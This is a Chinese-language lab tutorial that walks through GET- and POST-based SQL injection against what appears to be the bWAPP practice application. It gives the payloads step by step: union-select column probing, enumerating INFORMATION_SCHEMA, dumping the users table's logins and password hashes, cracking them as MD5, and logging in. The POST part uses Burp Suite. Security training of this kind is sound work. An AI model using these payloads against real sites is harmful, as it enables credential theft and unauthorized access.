GET 型注入攻击
将自己的环境启动起来,选择SQL Injection (GET/Search) ,然后点击hack,跳转到指定的页面,跳转到页面之后,点击查询,可以输出所有的数据:

在搜素框中,输入2‘,输出页面为错误:

在搜索框中输入‘union select 1,2 --’,输出的页面为:

从返回的提示为:字段数量不对,通过增加字段数量来进行请求,保证数据可以正常返回,
输入为:'union select 1,2,3,4,5,6,7 --',

在输入框中输入:union select 1,user(),database(),table_name,version(),6,7 from
INFORMATION_SCHEMA.tables where table_schema=database() -- ' ,最后的这个单引号前面需要留一个空格,或者使用union select 1,user(),database(),table_name,version(),6,7 from
INFORMATION_SCHEMA.tables where table_schema=database() --+'这种语句,查看输出的数据:

可以看到输出的用户名、数据库名字、数据库版本、数据表等信息,通过输出信息,需要找到用户的,应该就是users表,在输入框中输入:
union select 1,column_name,3,4,5,6,7 from
INFORMATION_SCHEMA.columns where table_name='users' --+'
可以看到输出为:

可以看到users这个表中的字段,选择id,login,password作为输出的信息,填写信息如下:
union select 1,id,login,password,5,6,7 from users --+'

可以通过反向解析(md5),来把密码解析,将密码解析出来。在解析出密码之后,尝试登录,看是否拿到用户的账号信息。
POST 型注入攻击
选择SQL Injection (POST/Select) ,进入页面,打开Burp Suite,可以根据自己的电脑,选择相应的版本进行下载,需要进行设置:

设置完成之后,打开web页面:

在浏览器中输入地址,跳转到指定页面,开始监听请求:

将请求参数转到repeater模块,然后进行验证是否有漏洞,在参数中,输入movie=1'&action=go,通过返回的数据为sql的异常提示,表示存在漏洞,可以进行尝试攻击:

修改请求参数之后,输入的内容:movie=1 union select 1,2,3,4,5,6,7 from information_schema.tables -- &action=go,可以看到返回是否正确:

输入sql语句,查询表的相关信息:

通过输入下面的语句movie=11 union select 1,group_concat(table_name separator ';'),3,4,5,6,7 from information_schema.tables where table_schema=database() -- &action=go,可以返回所有的数据表信息:

通过返回的表信息,也识别到用户应该是存储在users表里面,做下面的尝试,
movie=11 union select 1,group_concat(id separator ';'),group_concat(login separator ';'),group_concat(password separator ';'),5,6,7 from users -- &action=go

可以将返回的用户名和密码进行解密,然后验证登录。
网友评论